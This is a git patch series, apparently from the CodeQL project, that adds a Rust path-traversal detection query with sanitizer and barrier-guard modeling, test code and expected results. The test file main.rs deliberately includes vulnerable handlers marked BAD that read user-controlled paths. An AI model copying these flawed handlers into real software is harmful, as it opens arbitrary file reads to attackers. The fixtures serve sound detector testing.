a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected +++ b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected @@ -3,14 +3,14 @@ edges | main.rs:4:9:4:16 | username | main.rs:5:25:5:44 | MacroExpr | provenance | | | main.rs:4:20:4:32 | ...::var | main.rs:4:20:4:40 | ...::var(...) [Ok] | provenance | Src:MaD:62 | -| main.rs:4:20:4:40 | ...::var(...) [Ok] | main.rs:4:20:4:66 | ... .unwrap_or(...) | provenance | MaD:1593 | +| main.rs:4:20:4:40 | ...::var(...) [Ok] | main.rs:4:20:4:66 | ... .unwrap_or(...) | provenance | MaD:1597 | | main.rs:4:20:4:66 | ... .unwrap_or(...) | main.rs:4:9:4:16 | username | provenance | | | main.rs:5:9:5:13 | regex | main.rs:6:26:6:30 | regex | provenance | | | main.rs:5:17:5:45 | res | main.rs:5:25:5:44 | { ... } | provenance | | | main.rs:5:25:5:44 | ...::format(...) | main.rs:5:17:5:45 | res | provenance | | | main.rs:5:25:5:44 | ...::must_use(...) | main.rs:5:9:5:13 | regex | provenance | | -| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:66 | -| main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3016 | +| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:70 | +| main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3020 | | main.rs:6:26:6:30 | regex | main.rs:6:25:6:30 | ®ex | provenance | | nodes | main.rs:4:9:4:16 | username | semmle.label | username | From 0fd69eaa43a744a065e8429951422490ed48850f Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 10 Mar 2025 14:11:58 +0100 Subject: [PATCH 015/121] Add QL test --- .../security/CWE-022/TaintedPath.expected | 51 +++++++++++++++ .../security/CWE-022/TaintedPath.qlref | 4 ++ .../CWE-022/TaintedPathSinks.expected | 0 .../security/CWE-022/TaintedPathSinks.ql | 19 ++++++ .../query-tests/security/CWE-022/options.yml | 3 + .../query-tests/security/CWE-022/src/main.rs | 62 +++++++++++++++++++ 6 files changed, 139 insertions(+) create mode 100644 rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected create mode 100644 rust/ql/test/query-tests/security/CWE-022/TaintedPath.qlref create mode 100644 rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.expected create mode 100644 rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.ql create mode 100644 rust/ql/test/query-tests/security/CWE-022/options.yml create mode 100644 rust/ql/test/query-tests/security/CWE-022/src/main.rs diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected new file mode 100644 index 00000000000..a4040d1bfb0 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected @@ -0,0 +1,51 @@ +#select +| src/main.rs:10:5:10:22 | ...::read_to_string | src/main.rs:6:11:6:19 | file_name | src/main.rs:10:5:10:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:6:11:6:19 | file_name | user-provided value | +| src/main.rs:20:5:20:22 | ...::read_to_string | src/main.rs:14:36:14:44 | file_name | src/main.rs:20:5:20:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:14:36:14:44 | file_name | user-provided value | +| src/main.rs:45:5:45:22 | ...::read_to_string | src/main.rs:37:11:37:19 | file_path | src/main.rs:45:5:45:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:37:11:37:19 | file_path | user-provided value | +edges +| src/main.rs:6:11:6:19 | file_name | src/main.rs:8:35:8:43 | file_name | provenance | | +| src/main.rs:8:9:8:17 | file_path | src/main.rs:10:24:10:32 | file_path | provenance | | +| src/main.rs:8:21:8:44 | ...::from(...) | src/main.rs:8:9:8:17 | file_path | provenance | | +| src/main.rs:8:35:8:43 | file_name | src/main.rs:8:21:8:44 | ...::from(...) | provenance | MaD:3 | +| src/main.rs:10:24:10:32 | file_path | src/main.rs:10:5:10:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | +| src/main.rs:14:36:14:44 | file_name | src/main.rs:19:35:19:43 | file_name | provenance | | +| src/main.rs:19:9:19:17 | file_path | src/main.rs:20:24:20:32 | file_path | provenance | | +| src/main.rs:19:21:19:44 | ...::from(...) | src/main.rs:19:9:19:17 | file_path | provenance | | +| src/main.rs:19:35:19:43 | file_name | src/main.rs:19:21:19:44 | ...::from(...) | provenance | MaD:3 | +| src/main.rs:20:24:20:32 | file_path | src/main.rs:20:5:20:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | +| src/main.rs:37:11:37:19 | file_path | src/main.rs:40:52:40:60 | file_path | provenance | | +| src/main.rs:40:9:40:17 | file_path | src/main.rs:45:24:45:32 | file_path | provenance | | +| src/main.rs:40:21:40:62 | public_path.join(...) | src/main.rs:40:9:40:17 | file_path | provenance | | +| src/main.rs:40:38:40:61 | ...::from(...) | src/main.rs:40:21:40:62 | public_path.join(...) | provenance | MaD:2 | +| src/main.rs:40:52:40:60 | file_path | src/main.rs:40:38:40:61 | ...::from(...) | provenance | MaD:3 | +| src/main.rs:45:24:45:32 | file_path | src/main.rs:45:5:45:22 | ...::read_to_string | provenance | MaD:1 Sink:MaD:1 | +models +| 1 | Sink: lang:std; crate::fs::read_to_string; path-injection; Argument[0] | +| 2 | Summary: lang:std; ::join; Argument[0]; ReturnValue; taint | +| 3 | Summary: lang:std; ::from; Argument[0]; ReturnValue; taint | +nodes +| src/main.rs:6:11:6:19 | file_name | semmle.label | file_name | +| src/main.rs:8:9:8:17 | file_path | semmle.label | file_path | +| src/main.rs:8:21:8:44 | ...::from(...) | semmle.label | ...::from(...) | +| src/main.rs:8:35:8:43 | file_name | semmle.label | file_name | +| src/main.rs:10:5:10:22 | ...::read_to_string | semmle.label | ...::read_to_string | +| src/main.rs:10:24:10:32 | file_path | semmle.label | file_path | +| src/main.rs:14:36:14:44 | file_name | semmle.label | file_name | +| src/main.rs:19:9:19:17 | file_path | semmle.label | file_path | +| src/main.rs:19:21:19:44 | ...::from(...) | semmle.label | ...::from(...) | +| src/main.rs:19:35:19:43 | file_name | semmle.label | file_name | +| src/main.rs:20:5:20:22 | ...::read_to_string | semmle.label | ...::read_to_string | +| src/main.rs:20:24:20:32 | file_path | semmle.label | file_path | +| src/main.rs:37:11:37:19 | file_path | semmle.label | file_path | +| src/main.rs:40:9:40:17 | file_path | semmle.label | file_path | +| src/main.rs:40:21:40:62 | public_path.join(...) | semmle.label | public_path.join(...) | +| src/main.rs:40:38:40:61 | ...::from(...) | semmle.label | ...::from(...) | +| src/main.rs:40:52:40:60 | file_path | semmle.label | file_path | +| src/main.rs:45:5:45:22 | ...::read_to_string | semmle.label | ...::read_to_string | +| src/main.rs:45:24:45:32 | file_path | semmle.label | file_path | +subpaths +testFailures +| src/main.rs:14:36:14:44 | file_name | Unexpected result: Source | +| src/main.rs:20:5:20:22 | ...::read_to_string | Unexpected result: Alert | +| src/main.rs:50:38:50:56 | //... | Missing result: Source=remote5 | +| src/main.rs:59:64:59:122 | //... | Missing result: Alert[rust/path-injection]=remote5 | diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.qlref b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.qlref new file mode 100644 index 00000000000..2d4a275c02a --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.qlref @@ -0,0 +1,4 @@ +query: queries/security/CWE-022/TaintedPath.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.expected b/rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.ql b/rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.ql new file mode 100644 index 00000000000..66345376de7 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPathSinks.ql @@ -0,0 +1,19 @@ +import rust +import codeql.rust.security.TaintedPathExtensions +import utils.test.InlineExpectationsTest + +module TaintedPathSinksTest implements TestSig { + string getARelevantTag() { result = "path-injection-sink" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + exists(TaintedPath::Sink sink | + location = sink.getLocation() and + location.getFile().getBaseName() != "" and + element = sink.toString() and + tag = "path-injection-sink" and + value = "" + ) + } +} + +import MakeTest diff --git a/rust/ql/test/query-tests/security/CWE-022/options.yml b/rust/ql/test/query-tests/security/CWE-022/options.yml new file mode 100644 index 00000000000..e036e2387ed --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-022/options.yml @@ -0,0 +1,3 @@ +qltest_cargo_check: true +qltest_dependencies: + - poem = { version = "3.1.7" } diff --git a/rust/ql/test/query-tests/security/CWE-022/src/main.rs b/rust/ql/test/query-tests/security/CWE-022/src/main.rs new file mode 100644 index 00000000000..8d182a91ca5 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-022/src/main.rs @@ -0,0 +1,62 @@ +use poem::{error::InternalServerError, handler, http::StatusCode, web::Query, Error, Result}; +use std::{fs, path::PathBuf}; + +//#[handler] +fn tainted_path_handler_bad( + Query(file_name): Query, // $ Source=remote1 +) -> Result { + let file_path = PathBuf::from(file_name); + // BAD: This could read any file on the filesystem. + fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink Alert[rust/path-injection]=remote1 +} + +//#[handler] +fn tainted_path_handler_good(Query(file_name): Query) -> Result { + // GOOD: ensure that the filename has no path separators or parent directory references + if file_name.contains("..") || file_name.contains("/") || file_name.contains("\\") { + return Err(Error::from_status(StatusCode::BAD_REQUEST)); + } + let file_path = PathBuf::from(file_name); + fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink +} + +//#[handler] +fn tainted_path_handler_folder_good(Query(file_path): Query) -> Result { + let public_path = PathBuf::from("/var/www/public_html"); + let file_path = public_path.join(PathBuf::from(file_path)); + let file_path = file_path.canonicalize().unwrap(); + // GOOD: ensure that the path stays within the public folder + if !file_path.starts_with(public_path) { + return Err(Error::from_status(StatusCode::BAD_REQUEST)); + } + fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink +} + +//#[handler] +fn tainted_path_handler_folder_almost_good1( + Query(file_path): Query, // $ Source=remote4 +) -> Result { + let public_path = PathBuf::from("/var/www/public_html"); + let file_path = public_path.join(PathBuf::from(file_path)); + // BAD: the path could still contain `..` and escape the public folder + if !file_path.starts_with(public_path) { + return Err(Error::from_status(StatusCode::BAD_REQUEST)); + } + fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink Alert[rust/path-injection]=remote4 +} + +//#[handler] +fn tainted_path_handler_folder_almost_good2( + Query(file_path): Query, // $ Source=remote5 +) -> Result { + let public_path = PathBuf::from("/var/www/public_html"); + let file_path = public_path.join(PathBuf::from(file_path)); + let file_path = file_path.canonicalize().unwrap(); + // BAD: the check to ensure that the path stays within the public folder is wrong + if file_path.starts_with(public_path) { + return Err(Error::from_status(StatusCode::BAD_REQUEST)); + } + fs::read_to_string(file_path).map_err(InternalServerError) // $ path-injection-sink Alert[rust/path-injection]=remote5 +} + +fn main() {} From ecca805c34d571edf53f140d63c24ea40e5cd056 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 13 Mar 2025 10:24:42 +0100 Subject: [PATCH 016/121] Rust: add Dataflow::BarrierGuard module --- rust/ql/lib/codeql/rust/dataflow/DataFlow.qll | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/rust/ql/lib/codeql/rust/dataflow/DataFlow.qll b/rust/ql/lib/codeql/rust/dataflow/DataFlow.qll index 3cb4dd9a982..e6b7cdfeb50 100644 --- a/rust/ql/lib/codeql/rust/dataflow/DataFlow.qll +++ b/rust/ql/lib/codeql/rust/dataflow/DataFlow.qll @@ -8,6 +8,8 @@ private import codeql.dataflow.DataFlow private import internal.DataFlowImpl as DataFlowImpl private import internal.Node as Node private import internal.Content as Content +private import codeql.rust.controlflow.ControlFlowGraph as Cfg +private import codeql.rust.controlflow.CfgNodes as CfgNodes /** * Provides classes for performing local (intra-procedural) and global @@ -16,6 +18,8 @@ private import internal.Content as Content module DataFlow { final class Node = Node::NodePublic; + final class ExprNode = Node::ExprNode; + /** * The value of a parameter at function entry, viewed as a node in a data * flow graph. @@ -56,4 +60,31 @@ module DataFlow { predicate localFlow(Node::Node source, Node::Node sink) { localFlowStep*(source, sink) } import DataFlowMake + + /** + * Holds if the guard `g` validates the expression `e` upon evaluating to `v`. + * + * The expression `e` is expected to be a syntactic part of the guard `g`. + * For example, the guard `g` might be a call `isSafe(x)` and the expression `e` + * the argument `x`. + */ + signature predicate guardChecksSig(CfgNodes::AstCfgNode g, Cfg::CfgNode e, boolean branch); + + /** + * Provides a set of barrier nodes for a guard that validates an expression. + * + * This is expected to be used in `isBarrier`/`isSanitizer` definitions + * in data flow and taint tracking. + */ + module BarrierGuard { + private import internal.DataFlowImpl::SsaFlow as SsaFlow + private import internal.SsaImpl as SsaImpl + + /** Gets a node that is safely guarded by the given guard check. */ + pragma[nomagic] + Node getABarrierNode() { + SsaFlow::asNode(result) = + SsaImpl::DataFlowIntegration::BarrierGuard::getABarrierNode() + } + } } From f08d1d10f1c17b97a171d1bd502c567a2d3a7027 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Thu, 13 Mar 2025 13:00:56 +0100 Subject: [PATCH 017/121] Rust: tainted path implement basic sanitizers --- rust/ql/lib/codeql/rust/Concepts.qll | 43 +++++++++++ rust/ql/lib/codeql/rust/Frameworks.qll | 1 + .../codeql/rust/frameworks/stdlib/Stdlib.qll | 34 +++++++++ .../rust/frameworks/stdlib/fs.model.yml | 1 + .../frameworks/stdlib/lang-core.model.yml | 3 + .../rust/security/TaintedPathExtensions.qll | 36 +++++++++ .../queries/security/CWE-022/TaintedPath.ql | 73 ++++++++++++++++--- .../dataflow/local/DataFlowStep.expected | 1 + .../diagnostics/SummaryStats.expected | 2 +- .../security/CWE-020/RegexInjection.expected | 6 +- .../security/CWE-022/TaintedPath.expected | 50 +++++++------ 11 files changed, 214 insertions(+), 36 deletions(-) create mode 100644 rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll diff --git a/rust/ql/lib/codeql/rust/Concepts.qll b/rust/ql/lib/codeql/rust/Concepts.qll index 4f25840165e..70f0a2422e5 100644 --- a/rust/ql/lib/codeql/rust/Concepts.qll +++ b/rust/ql/lib/codeql/rust/Concepts.qll @@ -8,6 +8,8 @@ private import codeql.rust.dataflow.DataFlow private import codeql.threatmodels.ThreatModels private import codeql.rust.Frameworks private import codeql.rust.dataflow.FlowSource +private import codeql.rust.controlflow.ControlFlowGraph as Cfg +private import codeql.rust.controlflow.CfgNodes as CfgNodes /** * A data flow source for a specific threat-model. @@ -264,3 +266,44 @@ module Cryptography { class CryptographicAlgorithm = SC::CryptographicAlgorithm; } + +/** Provides classes for modeling path-related APIs. */ +module Path { + /** + * A data-flow node that performs path normalization. This is often needed in order + * to safely access paths. + */ + class PathNormalization extends DataFlow::Node instanceof PathNormalization::Range { + /** Gets an argument to this path normalization that is interpreted as a path. */ + DataFlow::Node getPathArg() { result = super.getPathArg() } + } + + /** Provides a class for modeling new path normalization APIs. */ + module PathNormalization { + /** + * A data-flow node that performs path normalization. This is often needed in order + * to safely access paths. + */ + abstract class Range extends DataFlow::Node { + /** Gets an argument to this path normalization that is interpreted as a path. */ + abstract DataFlow::Node getPathArg(); + } + } + + class SafeAccessCheck extends DataFlow::ExprNode { + SafeAccessCheck() { this = DataFlow::BarrierGuard::getABarrierNode() } + } + + private predicate safeAccessCheck(CfgNodes::AstCfgNode g, Cfg::CfgNode node, boolean branch) { + g.(SafeAccessCheck::Range).checks(node, branch) + } + + /** Provides a class for modeling new path safety checks. */ + module SafeAccessCheck { + /** A data-flow node that checks that a path is safe to access. */ + abstract class Range extends CfgNodes::AstCfgNode { + /** Holds if this guard validates `node` upon evaluating to `branch`. */ + abstract predicate checks(Cfg::CfgNode node, boolean branch); + } + } +} diff --git a/rust/ql/lib/codeql/rust/Frameworks.qll b/rust/ql/lib/codeql/rust/Frameworks.qll index 9b19ce0338d..0e91ed427ba 100644 --- a/rust/ql/lib/codeql/rust/Frameworks.qll +++ b/rust/ql/lib/codeql/rust/Frameworks.qll @@ -6,3 +6,4 @@ private import codeql.rust.frameworks.rustcrypto.RustCrypto private import codeql.rust.frameworks.Poem private import codeql.rust.frameworks.Sqlx private import codeql.rust.frameworks.stdlib.Clone +private import codeql.rust.frameworks.stdlib.Stdlib diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll new file mode 100644 index 00000000000..efabdb1c6dd --- /dev/null +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/Stdlib.qll @@ -0,0 +1,34 @@ +private import rust +private import codeql.rust.Concepts +private import codeql.rust.controlflow.ControlFlowGraph as Cfg +private import codeql.rust.controlflow.CfgNodes as CfgNodes +private import codeql.rust.dataflow.DataFlow + +/** + * A call to the `starts_with` method on a `Path`. + */ +private class StartswithCall extends Path::SafeAccessCheck::Range, CfgNodes::MethodCallExprCfgNode { + StartswithCall() { + this.getAstNode().(Resolvable).getResolvedPath() = "::starts_with" + } + + override predicate checks(Cfg::CfgNode e, boolean branch) { + e = this.getReceiver() and + branch = true + } +} + +/** + * A call to `Path.canonicalize`. + * See https://doc.rust-lang.org/std/path/struct.Path.html#method.canonicalize + */ +private class PathCanonicalizeCall extends Path::PathNormalization::Range { + CfgNodes::MethodCallExprCfgNode call; + + PathCanonicalizeCall() { + call = this.asExpr() and + call.getAstNode().(Resolvable).getResolvedPath() = "::canonicalize" + } + + override DataFlow::Node getPathArg() { result.asExpr() = call.getReceiver() } +} diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml index 9f17d373824..e18b8da171d 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/fs.model.yml @@ -16,3 +16,4 @@ extensions: - ["lang:std", "::from", "Argument[0]", "ReturnValue", "taint", "manual"] - ["lang:std", "::join", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:std", "::join", "Argument[0]", "ReturnValue", "taint", "manual"] + - ["lang:std", "::canonicalize", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "taint", "manual"] diff --git a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml index a2f6b15ab2c..ed3893aa350 100644 --- a/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml +++ b/rust/ql/lib/codeql/rust/frameworks/stdlib/lang-core.model.yml @@ -32,3 +32,6 @@ extensions: - ["lang:alloc", "::as_str", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:alloc", "::as_bytes", "Argument[self]", "ReturnValue", "taint", "manual"] - ["lang:alloc", "<_ as crate::string::ToString>::to_string", "Argument[self]", "ReturnValue", "taint", "manual"] + # Result + - ["lang:core", "::unwrap", "Argument[self]", "ReturnValue", "taint", "manual"] + diff --git a/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll b/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll index 3c6aab4e84d..cfaeb6c0980 100644 --- a/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll +++ b/rust/ql/lib/codeql/rust/security/TaintedPathExtensions.qll @@ -7,6 +7,8 @@ private import codeql.rust.dataflow.DataFlow private import codeql.rust.dataflow.TaintTracking private import codeql.rust.Concepts private import codeql.rust.dataflow.internal.DataFlowImpl +private import codeql.rust.controlflow.ControlFlowGraph as Cfg +private import codeql.rust.controlflow.CfgNodes as CfgNodes /** * Provides default sources, sinks and barriers for detecting path injection @@ -28,6 +30,10 @@ module TaintedPath { */ abstract class Barrier extends DataFlow::Node { } + class SanitizerGuard extends DataFlow::Node { + SanitizerGuard() { this = DataFlow::BarrierGuard::getABarrierNode() } + } + /** * An active threat-model source, considered as a flow source. */ @@ -38,3 +44,33 @@ module TaintedPath { ModelsAsDataSinks() { sinkNode(this, "path-injection") } } } + +private predicate sanitizerGuard(CfgNodes::AstCfgNode g, Cfg::CfgNode node, boolean branch) { + g.(SanitizerGuard::Range).checks(node, branch) +} + +/** Provides a class for modeling new path safety checks. */ +module SanitizerGuard { + /** A data-flow node that checks that a path is safe to access. */ + abstract class Range extends CfgNodes::AstCfgNode { + /** Holds if this guard validates `node` upon evaluating to `branch`. */ + abstract predicate checks(Cfg::CfgNode node, boolean branch); + } +} + +/** + * A check of the form `!strings.Contains(nd, "..")`, considered as a sanitizer guard for + * path traversal. + */ +private class DotDotCheck extends SanitizerGuard::Range, CfgNodes::MethodCallExprCfgNode { + DotDotCheck() { + this.getAstNode().(Resolvable).getResolvedPath() = "::contains" and + this.getArgument(0).getAstNode().(LiteralExpr).getTextValue() = + ["\"..\"", "\"../\"", "\"..\\\""] + } + + override predicate checks(Cfg::CfgNode e, boolean branch) { + e = this.getReceiver() and + branch = false + } +} diff --git a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql index 412d4477f3a..47b71bd7c1f 100644 --- a/rust/ql/src/queries/security/CWE-022/TaintedPath.ql +++ b/rust/ql/src/queries/security/CWE-022/TaintedPath.ql @@ -19,19 +19,72 @@ import codeql.rust.dataflow.DataFlow import codeql.rust.dataflow.TaintTracking import codeql.rust.security.TaintedPathExtensions import TaintedPathFlow::PathGraph +private import codeql.rust.Concepts -/** - * A taint configuration for tainted data that reaches a file access sink. - */ -module TaintedPathConfig implements DataFlow::ConfigSig { - predicate isSource(DataFlow::Node node) { node instanceof TaintedPath::Source } - - predicate isSink(DataFlow::Node node) { node instanceof TaintedPath::Sink } - - predicate isBarrier(DataFlow::Node barrier) { barrier instanceof TaintedPath::Barrier } +abstract private class NormalizationState extends string { + bindingset[this] + NormalizationState() { any() } } -module TaintedPathFlow = TaintTracking::Global; +/** A state signifying that the file path has not been normalized. */ +class NotNormalized extends NormalizationState { + NotNormalized() { this = "NotNormalized" } +} + +/** A state signifying that the file path has been normalized, but not checked. */ +class NormalizedUnchecked extends NormalizationState { + NormalizedUnchecked() { this = "NormalizedUnchecked" } +} + +/** + * This configuration uses two flow states, `NotNormalized` and `NormalizedUnchecked`, + * to track the requirement that a file path must be first normalized and then checked + * before it is safe to use. + * + * At sources, paths are assumed not normalized. At normalization points, they change + * state to `NormalizedUnchecked` after which they can be made safe by an appropriate + * check of the prefix. + * + * Such checks are ineffective in the `NotNormalized` state. + */ +module TaintedPathConfig implements DataFlow::StateConfigSig { + class FlowState = NormalizationState; + + predicate isSource(DataFlow::Node source, FlowState state) { + source instanceof TaintedPath::Source and state instanceof NotNormalized + } + + predicate isSink(DataFlow::Node sink, FlowState state) { + sink instanceof TaintedPath::Sink and + ( + state instanceof NotNormalized or + state instanceof NormalizedUnchecked + ) + } + + predicate isBarrier(DataFlow::Node node) { + node instanceof TaintedPath::Barrier or node instanceof TaintedPath::SanitizerGuard + } + + predicate isBarrier(DataFlow::Node node, FlowState state) { + // Block `NotNormalized` paths here, since they change state to `NormalizedUnchecked` + node instanceof Path::PathNormalization and + state instanceof NotNormalized + or + node instanceof Path::SafeAccessCheck and + state instanceof NormalizedUnchecked + } + + predicate isAdditionalFlowStep( + DataFlow::Node nodeFrom, FlowState stateFrom, DataFlow::Node nodeTo, FlowState stateTo + ) { + nodeFrom = nodeTo.(Path::PathNormalization).getPathArg() and + stateFrom instanceof NotNormalized and + stateTo instanceof NormalizedUnchecked + } +} + +module TaintedPathFlow = TaintTracking::GlobalWithState; from TaintedPathFlow::PathNode source, TaintedPathFlow::PathNode sink where TaintedPathFlow::flowPath(source, sink) diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected index 23270af042a..386544b98d1 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.expected @@ -2165,6 +2165,7 @@ storeStep | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::or_else | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::or_else | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:core::_::::parse | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:core::_::::parse | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::<&[u8] as crate::io::BufRead>::fill_buf | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::canonicalize | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::canonicalize | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait_timeout | | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::result::Result::Ok(0)] in lang:std::_::::wait_timeout_ms | Ok | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::wait_timeout_ms | diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected index d34cd849069..a8833f62680 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStats.expected +++ b/rust/ql/test/query-tests/diagnostics/SummaryStats.expected @@ -15,7 +15,7 @@ | Macro calls - resolved | 8 | | Macro calls - total | 9 | | Macro calls - unresolved | 1 | -| Taint edges - number of edges | 1674 | +| Taint edges - number of edges | 1675 | | Taint reach - nodes tainted | 0 | | Taint reach - per million nodes | 0 | | Taint sinks - cryptographic operations | 0 | diff --git a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected index 586963d9293..0b6cfe1341d 100644 --- a/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected +++ b/rust/ql/test/query-tests/security/CWE-020/RegexInjection.expected @@ -3,14 +3,14 @@ edges | main.rs:4:9:4:16 | username | main.rs:5:25:5:44 | MacroExpr | provenance | | | main.rs:4:20:4:32 | ...::var | main.rs:4:20:4:40 | ...::var(...) [Ok] | provenance | Src:MaD:62 | -| main.rs:4:20:4:40 | ...::var(...) [Ok] | main.rs:4:20:4:66 | ... .unwrap_or(...) | provenance | MaD:1597 | +| main.rs:4:20:4:40 | ...::var(...) [Ok] | main.rs:4:20:4:66 | ... .unwrap_or(...) | provenance | MaD:1599 | | main.rs:4:20:4:66 | ... .unwrap_or(...) | main.rs:4:9:4:16 | username | provenance | | | main.rs:5:9:5:13 | regex | main.rs:6:26:6:30 | regex | provenance | | | main.rs:5:17:5:45 | res | main.rs:5:25:5:44 | { ... } | provenance | | | main.rs:5:25:5:44 | ...::format(...) | main.rs:5:17:5:45 | res | provenance | | | main.rs:5:25:5:44 | ...::must_use(...) | main.rs:5:9:5:13 | regex | provenance | | -| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:70 | -| main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3020 | +| main.rs:5:25:5:44 | MacroExpr | main.rs:5:25:5:44 | ...::format(...) | provenance | MaD:71 | +| main.rs:5:25:5:44 | { ... } | main.rs:5:25:5:44 | ...::must_use(...) | provenance | MaD:3022 | | main.rs:6:26:6:30 | regex | main.rs:6:25:6:30 | ®ex | provenance | | nodes | main.rs:4:9:4:16 | username | semmle.label | username | diff --git a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected index a4040d1bfb0..df8778a66e0 100644 --- a/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected +++ b/rust/ql/test/query-tests/security/CWE-022/TaintedPath.expected @@ -1,28 +1,34 @@ #select | src/main.rs:10:5:10:22 | ...::read_to_string | src/main.rs:6:11:6:19 | file_name | src/main.rs:10:5:10:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:6:11:6:19 | file_name | user-provided value | -| src/main.rs:20:5:20:22 | ...::read_to_string | src/main.rs:14:36:14:44 | file_name | src/main.rs:20:5:20:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:14:36:14:44 | file_name | user-provided value | | src/main.rs:45:5:45:22 | ...::read_to_string | src/main.rs:37:11:37:19 | file_path | src/main.rs:45:5:45:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:37:11:37:19 | file_path | user-provided value | +| src/main.rs:59:5:59:22 | ...::read_to_string | src/main.rs:50:11:50:19 | file_path | src/main.rs:59:5:59:22 | ...::read_to_string | This path depends on a $@. | src/main.rs:50:11:50:19 | file_path | user-provided value | edges | src/main.rs:6:11:6:19 | file_name | 